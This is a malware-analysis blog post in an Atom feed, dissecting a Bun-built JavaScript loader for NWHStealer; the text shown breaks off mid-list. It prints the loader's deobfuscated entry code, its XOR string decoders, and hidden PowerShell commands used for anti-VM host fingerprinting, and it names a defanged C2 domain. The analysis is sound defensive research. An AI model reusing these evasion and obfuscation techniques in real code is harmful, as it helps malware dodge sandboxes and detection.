<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://onebyteram.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://onebyteram.github.io/" rel="alternate" type="text/html" /><updated>2026-06-03T20:58:22+00:00</updated><id>https://onebyteram.github.io/feed.xml</id><title type="html">OneByteRAM’s blog</title><author><name>Roberto Perico</name><email>roberperico@gmail.com</email></author><entry><title type="html">Analysis of NWHStealer Bun loader</title><link href="https://onebyteram.github.io/loader/bun/malware/2026/06/02/bun-loader.html" rel="alternate" type="text/html" title="Analysis of NWHStealer Bun loader" /><published>2026-06-02T22:00:00+00:00</published><updated>2026-06-02T22:00:00+00:00</updated><id>https://onebyteram.github.io/loader/bun/malware/2026/06/02/bun-loader</id><content type="html" xml:base="https://onebyteram.github.io/loader/bun/malware/2026/06/02/bun-loader.html"><![CDATA[<p>In the last weeks a new malware sample has emerged and caught the attention, being one of the most download sample from Malwarebazaar. This malware is the new NWHStealer and different types of loader are emerging to try to spread it as much as possible. This particular loader analyzed here has been built using Bun, a relatively new JavaScript runtime engine written in Zig but that, at the moment, it’s being rewritten in Rust. This engine has been acquired by Anthropic recently, so it has some attention behind. In this blog post i will analyze this loader, showing how the executable is structured and what it does once executed.</p>

<ul id="markdown-toc">
  <li><a href="#sample-details" id="markdown-toc-sample-details">Sample details</a></li>
  <li><a href="#a-really-brief-bun-introduction" id="markdown-toc-a-really-brief-bun-introduction">A really brief Bun introduction</a></li>
  <li><a href="#analysis" id="markdown-toc-analysis">Analysis</a>    <ul>
      <li><a href="#struct-of-bun-section" id="markdown-toc-struct-of-bun-section">Struct of <em>.bun</em> section</a></li>
      <li><a href="#loader-logic" id="markdown-toc-loader-logic">Loader logic</a>        <ul>
          <li><a href="#entryjs" id="markdown-toc-entryjs">entry.js</a></li>
          <li><a href="#sysreqjs" id="markdown-toc-sysreqjs">sysreq.js</a></li>
          <li><a href="#mainjs" id="markdown-toc-mainjs">main.js</a></li>
          <li><a href="#memloadjs" id="markdown-toc-memloadjs">memload.js</a></li>
        </ul>
      </li>
    </ul>
  </li>
</ul>

<h1 id="sample-details">Sample details</h1>

<table>
  <tbody>
    <tr>
      <td>Link</td>
      <td><code class="language-plaintext highlighter-rouge">https://bazaar.abuse.ch/sample/3e6db6b42264d6b17935cdd4cb065f96dc18fd686db886b44ea09a4a915e9548/</code></td>
    </tr>
    <tr>
      <td>SHA256</td>
      <td><code class="language-plaintext highlighter-rouge">3e6db6b42264d6b17935cdd4cb065f96dc18fd686db886b44ea09a4a915e9548</code></td>
    </tr>
    <tr>
      <td>Filename</td>
      <td><code class="language-plaintext highlighter-rouge">setup.exe</code></td>
    </tr>
    <tr>
      <td>Size</td>
      <td>112 MiB (117319168 bytes)</td>
    </tr>
    <tr>
      <td>Language</td>
      <td>JavaScript (Bun)</td>
    </tr>
    <tr>
      <td>Build time</td>
      <td>Sunday, 19-04-2026 07:30:07 UTC (<code class="language-plaintext highlighter-rouge">0x69e4847f</code>)</td>
    </tr>
    <tr>
      <td>C2 server</td>
      <td><code class="language-plaintext highlighter-rouge">https://silent-harvester[.]cc</code></td>
    </tr>
  </tbody>
</table>

<h1 id="a-really-brief-bun-introduction">A really brief Bun introduction</h1>

<p>Bun is an all-in-one toolkit for developing JavaScript/TypeScript applications and it includes 4 foundamental elements:</p>

<ul>
  <li>Bun Runtime: A fast JavaScript runtime designed as a drop-in replacement for Node.js</li>
  <li>Bun Package Manager: A packages manager with a global cache and workspaces</li>
  <li>Bun Test Runner: Built-in, Jest-compatible test runner, executed with the Bun runtime</li>
  <li>Bun Builder: Bundler used for JavaScript, TypeScript, JSX, etc…</li>
</ul>

<p>The Bun website claims that “<em>Bun is a fast, incrementally adoptable all-in-one JavaScript, TypeScript &amp; JSX toolkit</em>”. Its goal is to be a drop-in replacement for node.js, since it is fully compatible with node.js APIs. Being so similar with node.js, makes the final compiled executable share some characteristics with it: in fact the final PE embeds the full JavaScript runtime engine, resulting in a file of about 90~100MB size.</p>

<p>In a node.js compiled PE, the code is stored as a resource. Once executed, the JavaScript engine extract and execute it. From an analyst’s perspective, this is the juice to extract, since it contains all the malware logic that needs to be analyzed. In a PE built with Bun, instead, the code to be executed is stored inside a custom section named <code class="language-plaintext highlighter-rouge">.bun</code>. Here are stored all the source files that compose the final executable. Similar with node.js, this section is the main focus point while doing the analysis.</p>

<h1 id="analysis">Analysis</h1>

<p><em>Disclaimer: at time of writing this post, the C2 server is not online anymore. Despite this is an analysis of the sole loader, it was impossible to record the communication with the C2, from which the stage-2 is downloaded. All the work has been done statically but I don’t exclude to bring an analysis of the stage-2 malware in the future.</em></p>

<hr />

<p>Simply inspecting the strings of the executable it is possible to obtain the Bun version used to build it. For this sample the version used is <code class="language-plaintext highlighter-rouge">1.3.13</code>.</p>

<p>As confirmation of what written above, among the PE’s sections of the sample there is the one called <code class="language-plaintext highlighter-rouge">.bun</code>.</p>

<p><img src="/assets/bun_loader/sections.png" alt="Sample Sections" /></p>

<p>About the imported DLLs, we cannot tell anything relevant in this case, since the listed imports are used only by the embedded JavaScript runtime and not used by the loader itself. Given the nature of the executable, the required libraries by the loader are imported used the directive <code class="language-plaintext highlighter-rouge">require()</code> and are the following:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">os</code></li>
  <li><code class="language-plaintext highlighter-rouge">fs</code></li>
  <li><code class="language-plaintext highlighter-rouge">path</code></li>
  <li><code class="language-plaintext highlighter-rouge">https</code></li>
  <li><code class="language-plaintext highlighter-rouge">http</code></li>
  <li><code class="language-plaintext highlighter-rouge">crypto</code></li>
  <li><code class="language-plaintext highlighter-rouge">bun:ffi</code></li>
  <li><code class="language-plaintext highlighter-rouge">sysreq</code> (internal module)</li>
  <li><code class="language-plaintext highlighter-rouge">memload</code> (internal module)</li>
</ul>

<h2 id="struct-of-bun-section">Struct of <em>.bun</em> section</h2>

<p>The <code class="language-plaintext highlighter-rouge">.bun</code> section of a compiled PE contains all the source files used to build the executable using the Bun builder. These files are stored in clear text but however it’s important to know how to extract the single ones.</p>

<p>From this section it is possible to extract the original path of the final executable (<code class="language-plaintext highlighter-rouge">B:/~BUN/root/loader_20260425_040508_d6ea46eb.exe</code> in this case) along with the original paths of the source files. It’s even possible to note that the bytes <code class="language-plaintext highlighter-rouge">// @bun</code> indicate the start of the source code, while each file is separated from the other using a single line comment (bytes <code class="language-plaintext highlighter-rouge">// </code>) of the file original path ended with a new line character <code class="language-plaintext highlighter-rouge">0x0a</code>.</p>

<p><img src="/assets/bun_loader/bun_section.png" alt=".bun section structure" /></p>

<p>With this information it’s possible to extract the single source files to analyze them separately. They are heavily obfuscated and are:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">entry.js</code>: Entry point.</li>
  <li><code class="language-plaintext highlighter-rouge">main.js</code>: It contains the main logic of the loader. Communicates with the C2 server.</li>
  <li><code class="language-plaintext highlighter-rouge">sysreq.js</code>: Called to check the host where the loader is run.</li>
  <li><code class="language-plaintext highlighter-rouge">memload.js</code>: Called to load and exec the stage 2 malware.</li>
</ul>

<p>For all of them it was possible to perform deobfuscation using webcrack<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup> to recover its original content (without variable and function names). However, how it will be detailed next, some strings in these scripts are obfuscated with an additional layer using custom algorithms.</p>

<h2 id="loader-logic">Loader logic</h2>

<p>The logic flow of the loader can be summarized as the following:</p>

<pre><code class="language-mermaid">---
config:
  theme: 'dark'
---
sequenceDiagram
    entry.js-&gt;&gt;main.js: start
    main.js-&gt;&gt;+sysreq.js: validateSystem()
    sysreq.js--&gt;&gt;-main.js: score
    opt low score
        main.js-&gt;&gt;C2: POST /api/report
        main.js-&gt;&gt;+C2: GET /api/status
        C2--&gt;&gt;-main.js: seed
        main.js-&gt;&gt;+C2: GET /api/payload
        C2--&gt;&gt;-main.js: stage 2 malware
        activate main.js
        main.js-&gt;&gt;main.js: decrypt stage 2
        deactivate main.js
        main.js-&gt;&gt;memload.js: exec()
        main.js-&gt;&gt;C2: POST /api/report
    end
</code></pre>

<h3 id="entryjs">entry.js</h3>

<p>This is the entry point of the executable. It is a quite simple code, as shown below:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">require_entry</span> <span class="o">=</span> <span class="nx">__commonJS</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">_sysreq</span> <span class="o">=</span> <span class="nx">require_sysreq</span><span class="p">();</span>
  <span class="kd">var</span> <span class="nx">_memload</span> <span class="o">=</span> <span class="nx">require_memload</span><span class="p">();</span>
  <span class="kd">var</span> <span class="nx">_origReq</span> <span class="o">=</span> <span class="nx">__require</span><span class="p">;</span>
  <span class="nx">__require</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">m</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">m</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">./sysreq</span><span class="dl">"</span> <span class="o">||</span> <span class="nx">m</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">./sysreq.js</span><span class="dl">"</span><span class="p">)</span>
      <span class="k">return</span> <span class="nx">_sysreq</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">m</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">./memload</span><span class="dl">"</span> <span class="o">||</span> <span class="nx">m</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">./memload.js</span><span class="dl">"</span><span class="p">)</span>
      <span class="k">return</span> <span class="nx">_memload</span><span class="p">;</span>
    <span class="k">return</span> <span class="nx">_origReq</span><span class="p">(</span><span class="nx">m</span><span class="p">);</span>
  <span class="p">};</span>
  <span class="nx">require_main</span><span class="p">();</span>
<span class="p">});</span>
<span class="k">export</span> <span class="k">default</span> <span class="nx">require_entry</span><span class="p">();</span>
</code></pre></div></div>

<p>The interesting part is the redirection of future <code class="language-plaintext highlighter-rouge">require("./sysreq")</code> or <code class="language-plaintext highlighter-rouge">require("memload")</code> calls to internal modules bundled within the executable (declared with <code class="language-plaintext highlighter-rouge">__commonJS((exports, module)</code>). This ensures the loading of the correct modules, otherwise they would be searched for on the disk, resulting in a module not found error. Finally, the <code class="language-plaintext highlighter-rouge">require_main()</code> function is called, resulting in passing the execution to <code class="language-plaintext highlighter-rouge">main.js</code> module.</p>

<h3 id="sysreqjs">sysreq.js</h3>

<p>This script is responsible, as the name suggests, to check the system to detect if the malware is run in a real machine or on a VM/sandbox. After it gains all the information, it calculate a score used as a metric to decide if continue the execution or not. It exposes a function named <code class="language-plaintext highlighter-rouge">validateSystem()</code> called by <code class="language-plaintext highlighter-rouge">main.js</code> to start the system inspection.</p>

<p>The script performs a full system inspection, obtaining the following information:</p>

<ul>
  <li>SMBIOS firmware table</li>
  <li>ACPI firmware tables</li>
  <li>DiskDrive model</li>
  <li>BIOS manufacturer</li>
  <li>RAM amount and speed</li>
  <li>CPU model</li>
  <li>CPU cores</li>
  <li>Logged user</li>
  <li>Operating system installed</li>
  <li>Network interfaces</li>
  <li>Installed software</li>
  <li>USB devices</li>
  <li>Screen size</li>
</ul>

<p>Almost all of this information is obtained using PowerShell commands, while the rest is obtained using Bun modules like <code class="language-plaintext highlighter-rouge">os</code>.</p>

<p>SMBIOS data, for example, is obtained using the following command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>powershell <span class="nt">-NoProfile</span> <span class="nt">-NonInteractive</span> <span class="nt">-WindowStyle</span> Hidden <span class="nt">-Command</span> <span class="s2">"Add-Type -MemberDefinition '[DllImport(</span><span class="se">\"</span><span class="s2">kernel32.dll</span><span class="se">\"</span><span class="s2">,SetLastError=true)]public static extern uint GetSystemFirmwareTable(uint sig,uint id,IntPtr buf,uint sz);public static string R(){uint n=GetSystemFirmwareTable(0x52534D42,0,IntPtr.Zero,0);if(n==0)return</span><span class="se">\"\"</span><span class="s2">;IntPtr b=Marshal.AllocHGlobal((int)n);GetSystemFirmwareTable(0x52534D42,0,b,n);byte[] d=new byte[(int)System.Math.Min(n,8192u)];Marshal.Copy(b,d,0,d.Length);Marshal.FreeHGlobal(b);var s=new System.Text.StringBuilder();var c=new System.Text.StringBuilder();foreach(byte x in d){if(x&gt;=0x20&amp;&amp;x&lt;0x7F)c.Append((char)x);else{if(c.Length&gt;=4){s.Append(c);s.Append(</span><span class="se">\"</span><span class="s2">|</span><span class="se">\"</span><span class="s2">);}c.Clear();}}return s.ToString();}' -Name R1 -Namespace HW -Using System.Runtime.InteropServices; [HW.R1]::R()"</span>
</code></pre></div></div>

<p>Which pruduces an output like: <code class="language-plaintext highlighter-rouge">innotek GmbH|VirtualBox|12/01/2006|innotek GmbH|VirtualBox|VirtualBox-75aa1f3f-1575-409d-b759-24e9382ff38b|Virtual Machine|Oracle Corporation|VirtualBox|Oracle Corporation|Socket #0|GenuineIntel|Pentium(R) III|DIMM 0|Bank 0|innotek GmbH|00000000|00000000|00000000|vboxVer_7.2.8|vboxRev_173730|</code>.</p>

<p>Instead, the CPU model and the number of cores is obtained using the <code class="language-plaintext highlighter-rouge">os</code> module:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">os</span><span class="p">.</span><span class="nx">cpus</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span> <span class="p">?</span> <span class="nx">_vB</span><span class="p">.</span><span class="nx">cpus</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="nx">model</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">unknown</span><span class="dl">"</span>
</code></pre></div></div>

<p>The score is calculated twice in different points in the script. If both the checks are passed, an object with the gathered information is returned to <code class="language-plaintext highlighter-rouge">main.js</code>.</p>

<p>As mentioned previously, after the deobfuscation with webcrack, it’s possible to note inside the script there are 2 arrays of encrypted strings:</p>

<p>For the first array, each element is another array composed by 2 elements:</p>

<ol>
  <li>Array of strings base64 encoded</li>
  <li>XOR key used to recover the plaintext strings</li>
</ol>

<p>While for the second array, each element is another array composed by:</p>

<ol>
  <li>String base64 encoded</li>
  <li>XOR key used to recover plaintext strings</li>
</ol>

<p><img src="/assets/bun_loader/image.png" alt="Encrypted Strings Structure" /></p>

<p>The code responsible to recover the clear text strings for the first array is the following:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">function</span> <span class="nx">_vo</span><span class="p">(</span><span class="nx">string</span><span class="p">,</span> <span class="nx">xorKey</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">z</span> <span class="o">=</span> <span class="p">[];</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">w</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">w</span> <span class="o">&lt;</span> <span class="nx">string</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">w</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">z</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">string</span><span class="p">[</span><span class="nx">w</span><span class="p">]</span> <span class="o">^</span> <span class="nx">xorKey</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">w</span> <span class="o">%</span> <span class="nx">xorKey</span><span class="p">.</span><span class="nx">length</span><span class="p">));</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">z</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="dl">"</span><span class="s2">utf-8</span><span class="dl">"</span><span class="p">);</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>While for the second array is the following:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="kd">function</span> <span class="nx">_vK</span><span class="p">(</span><span class="nx">string</span><span class="p">,</span> <span class="nx">xorKey</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">z</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">string</span><span class="p">,</span> <span class="dl">"</span><span class="s2">base64</span><span class="dl">"</span><span class="p">);</span>
    <span class="kd">var</span> <span class="nx">w</span> <span class="o">=</span> <span class="p">[];</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">x</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">x</span> <span class="o">&lt;</span> <span class="nx">z</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">x</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">w</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">z</span><span class="p">[</span><span class="nx">x</span><span class="p">]</span> <span class="o">^</span> <span class="nx">xorKey</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="nx">x</span> <span class="o">%</span> <span class="nx">xorKey</span><span class="p">.</span><span class="nx">length</span><span class="p">));</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">w</span><span class="p">).</span><span class="nx">toString</span><span class="p">(</span><span class="dl">"</span><span class="s2">utf-8</span><span class="dl">"</span><span class="p">);</span>
  <span class="p">}</span>
</code></pre></div></div>

<p>The only difference is that the first array has the base64 string splitted in an another inner array, while the second not. Before to decrypt the strings for the first array, the entire base64 string is recovered by concatenating each element.</p>

<p>The following Python script was written to recover the clear text strings:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">base64</span>

<span class="k">def</span> <span class="nf">deobf</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">w</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)):</span>
        <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">[</span><span class="n">w</span><span class="p">]</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[</span><span class="n">w</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])),</span> <span class="n">sep</span><span class="o">=</span><span class="s">''</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
    <span class="k">print</span><span class="p">()</span>


<span class="n">ciphertext</span> <span class="o">=</span> <span class="p">[[[</span><span class="s">"BQ1KXwBDX"</span><span class="p">,</span> <span class="s">"0dQFwYBTR"</span><span class="p">,</span> <span class="s">"QpXlJUWRd"</span><span class="p">,</span> <span class="s">"OAlZGCVBC"</span><span class="p">,</span> <span class="s">"C1leEhA="</span><span class="p">],</span> <span class="s">"ad94d16157"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"dAp"</span><span class="p">,</span> <span class="s">"VUF"</span><span class="p">,</span> <span class="s">"g="</span><span class="p">],</span> <span class="s">"9e1541dc9"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"ZVtWBQFm"</span><span class="p">,</span> <span class="s">"IXAuYA=="</span><span class="p">],</span> <span class="s">"228639c9a33"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"YFpdClc+cF"</span><span class="p">,</span> <span class="s">"sIR0BFBEJk"</span><span class="p">,</span> <span class="s">"SkBNAAw="</span><span class="p">],</span> <span class="s">"7339ea34e751a0"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"KQBb"</span><span class="p">,</span> <span class="s">"FlJZ"</span><span class="p">,</span> <span class="s">"ABdN"</span><span class="p">,</span> <span class="s">"EV0T"</span><span class="p">],</span> <span class="s">"da5c48cc8c8aed"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"YlsPAwc"</span><span class="p">,</span> <span class="s">"8M1lLFQ"</span><span class="p">,</span> <span class="s">"oGUll/B"</span><span class="p">,</span> <span class="s">"F1aERo="</span><span class="p">],</span> <span class="s">"52a05cc12fce3"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"LwVeRg"</span><span class="p">,</span> <span class="s">"dQWk1G"</span><span class="p">,</span> <span class="s">"EAFCHz"</span><span class="p">,</span> <span class="s">"JBXFxX"</span><span class="p">],</span> <span class="s">"bd03a1993"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"XVJbDUdKVlgLQ"</span><span class="p">,</span> <span class="s">"hYFXEQQelcMQF"</span><span class="p">,</span> <span class="s">"VUUxZHRAdLHGN"</span><span class="p">,</span> <span class="s">"HUwdRExpWDUBb"</span><span class="p">,</span> <span class="s">"A00KXF5FFg=="</span><span class="p">],</span> <span class="s">"076b5350b26b90"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"YgsIUFNpdw"</span><span class="p">,</span> <span class="s">"MVBiNZVBAC"</span><span class="p">],</span> <span class="s">"5bfca6"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"ZV9eU"</span><span class="p">,</span> <span class="s">"lBrcl"</span><span class="p">,</span> <span class="s">"tKWXJ"</span><span class="p">,</span> <span class="s">"CCBRR"</span><span class="p">],</span> <span class="s">"260ab4629"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"NXkz"</span><span class="p">,</span> <span class="s">"dANF"</span><span class="p">,</span> <span class="s">"UFpX"</span><span class="p">,</span> <span class="s">"fnc="</span><span class="p">],</span> <span class="s">"e7c0f39927381"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"ZH1o"</span><span class="p">,</span> <span class="s">"JVJB"</span><span class="p">,</span> <span class="s">"W1NR"</span><span class="p">,</span> <span class="s">"enA="</span><span class="p">],</span> <span class="s">"438a77204340b9"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"YFteV"</span><span class="p">,</span> <span class="s">"gs5aV"</span><span class="p">,</span> <span class="s">"81JAt"</span><span class="p">,</span> <span class="s">"NXEJP"</span><span class="p">],</span> <span class="s">"720e9f91eae9566"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"R1kWXxBvCldWU2"</span><span class="p">,</span> <span class="s">"hoDGd1VhdQERgX"</span><span class="p">,</span> <span class="s">"XwdDEHYCVABBGF"</span><span class="p">,</span> <span class="s">"4NRV1ZFwMJCERM"</span><span class="p">],</span> <span class="s">"78b708c9ea"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"Mw0PB"</span><span class="p">,</span> <span class="s">"FFscA"</span><span class="p">,</span> <span class="s">"1KXHJ"</span><span class="p">,</span> <span class="s">"CChcB"</span><span class="p">],</span> <span class="s">"dda7c34d9760cad"</span><span class="p">],</span> <span class="p">[[</span><span class="s">"T1ACA"</span><span class="p">,</span> <span class="s">"kESXl"</span><span class="p">,</span> <span class="s">"1QFkA"</span><span class="p">,</span> <span class="s">"FBltb"</span><span class="p">,</span> <span class="s">"FgtA"</span><span class="p">],</span> <span class="s">"84ce4f719b9de"</span><span class="p">]]</span>
<span class="n">ciphertext2</span> <span class="o">=</span> <span class="p">[[</span><span class="s">"FVVeEw=="</span><span class="p">,</span> <span class="s">"d03f61b9fc3ad"</span><span class="p">],</span> <span class="p">[</span><span class="s">"EFxTAAhbRg=="</span><span class="p">,</span> <span class="s">"c92ba45c608a"</span><span class="p">],</span> <span class="p">[</span><span class="s">"V1dbDhY="</span><span class="p">,</span> <span class="s">"588fe42ab3889ce"</span><span class="p">],</span> <span class="p">[</span><span class="s">"WQ9eVxJUDQ=="</span><span class="p">,</span> <span class="s">"0a08f1f0e1"</span><span class="p">],</span> <span class="p">[</span><span class="s">"E1tWSA=="</span><span class="p">,</span> <span class="s">"e99035c44"</span><span class="p">],</span> <span class="p">[</span><span class="s">"TgxBVksH"</span><span class="p">,</span> <span class="s">"8a679b2c369d84b7"</span><span class="p">],</span> <span class="p">[</span><span class="s">"CUE8EFRnUlIRTQ=="</span><span class="p">,</span> <span class="s">"d2cf9817c9"</span><span class="p">],</span> <span class="p">[</span><span class="s">"QVlEQ00DXhhbVFVaW19c"</span><span class="p">,</span> <span class="s">"70678b286562219a"</span><span class="p">],</span> <span class="p">[</span><span class="s">"SVUZDVJWVF9P"</span><span class="p">,</span> <span class="s">"964dfbd9789"</span><span class="p">],</span> <span class="p">[</span><span class="s">"FldLQAYD"</span><span class="p">,</span> <span class="s">"f4f15653f909e"</span><span class="p">],</span> <span class="p">[</span><span class="s">"Qw9GTEZZXVpaHg=="</span><span class="p">,</span> <span class="s">"5f483818"</span><span class="p">],</span> <span class="p">[</span><span class="s">"A11IEAA="</span><span class="p">,</span> <span class="s">"a51feaba6"</span><span class="p">],</span> <span class="p">[</span><span class="s">"E1lFAxRWQQ5DAEJX"</span><span class="p">,</span> <span class="s">"e42bf37c4a021"</span><span class="p">],</span> <span class="p">[</span><span class="s">"Xk8JXBJeCUML"</span><span class="p">,</span> <span class="s">"59d7d3b5f50"</span><span class="p">],</span> <span class="p">[</span><span class="s">"R1sKT0YGDEtEBlhA"</span><span class="p">,</span> <span class="s">"19e70dc32d783b4"</span><span class="p">],</span> <span class="p">[</span><span class="s">"S1ZfR1sISgMLRV5c"</span><span class="p">,</span> <span class="s">"33116e2fe"</span><span class="p">],</span> <span class="p">[</span><span class="s">"BlEKBgVfVFc="</span><span class="p">,</span> <span class="s">"6a035eaa24"</span><span class="p">],</span> <span class="p">[</span><span class="s">"CAkNCQQCAwA="</span><span class="p">,</span> <span class="s">"817948170310"</span><span class="p">],</span> <span class="p">[</span><span class="s">"UQcLVwcPAVU="</span><span class="p">,</span> <span class="s">"d51b351e12a"</span><span class="p">],</span> <span class="p">[</span><span class="s">"BAINBlADDHI="</span><span class="p">,</span> <span class="s">"4277e996b334"</span><span class="p">],</span> <span class="p">[</span><span class="s">"VAYCUg8OV3Q="</span><span class="p">,</span> <span class="s">"d68c94d1"</span><span class="p">],</span> <span class="p">[</span><span class="s">"CQRbB3oOVgI="</span><span class="p">,</span> <span class="s">"94a694b0a7"</span><span class="p">],</span> <span class="p">[</span><span class="s">"El8UEV8M"</span><span class="p">,</span> <span class="s">"d6fe6cc"</span><span class="p">],</span> <span class="p">[</span><span class="s">"HlBZ"</span><span class="p">,</span> <span class="s">"f57b77794"</span><span class="p">],</span> <span class="p">[</span><span class="s">"RQdGWVkNVVkV"</span><span class="p">,</span> <span class="s">"5f485a0"</span><span class="p">],</span> <span class="p">[</span><span class="s">"QVpWTUo="</span><span class="p">,</span> <span class="s">"774899eae95546"</span><span class="p">],</span> <span class="p">[</span><span class="s">"Dk5DXBM="</span><span class="p">,</span> <span class="s">"f739a392c60"</span><span class="p">],</span> <span class="p">[</span><span class="s">"QFZQF1AEQg=="</span><span class="p">,</span> <span class="s">"23478e603c22d6d1"</span><span class="p">],</span> <span class="p">[</span><span class="s">"JWAmZA=="</span><span class="p">,</span> <span class="s">"a3b0dede27e"</span><span class="p">],</span> <span class="p">[</span><span class="s">"c3IiMQ=="</span><span class="p">,</span> <span class="s">"53aa9b2a768"</span><span class="p">],</span> <span class="p">[</span><span class="s">"RFZVRg5STQ=="</span><span class="p">,</span> <span class="s">"631ff39c4ae78ae"</span><span class="p">],</span> <span class="p">[</span><span class="s">"F1pCFlFZ"</span><span class="p">,</span> <span class="s">"a30b8689714f58"</span><span class="p">],</span> <span class="p">[</span><span class="s">"BwYORlEI"</span><span class="p">,</span> <span class="s">"bbef8ae39502535"</span><span class="p">]];</span>

<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">ciphertext</span><span class="p">:</span>
    <span class="n">string</span> <span class="o">=</span> <span class="s">""</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
    <span class="n">deobf</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">string</span><span class="p">),</span> <span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>

<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">ciphertext2</span><span class="p">:</span>
    <span class="n">deobf</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span> <span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
</code></pre></div></div>

<p>The first array contains strings of PowerShell classes and objects, used to obtain information about the host. It seems that the structure of the array is to have classes on odd indexes and objects on even indexes, but is not always in this way, since sometimes in the code, objects are hardcoded in cleartext in the function call used to launch the PowerShell command. If <code class="language-plaintext highlighter-rouge">powershell</code> command does not return anything, <code class="language-plaintext highlighter-rouge">wmic</code> is used as fallback.</p>

<p>Example of PowerShell commands launched during the system inspection:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “Get-CimInstance -ClassName Win32_DiskDrive | Select-Object Model | Format-List”</code></li>
  <li><code class="language-plaintext highlighter-rouge">powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “Get-CimInstance -ClassName Win32_BIOS | Select-Object Manufacturer | Format-List”</code></li>
  <li><code class="language-plaintext highlighter-rouge">powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_PhysicalMemory | Select-Object Manufacturer,Speed | Format-List"</code></li>
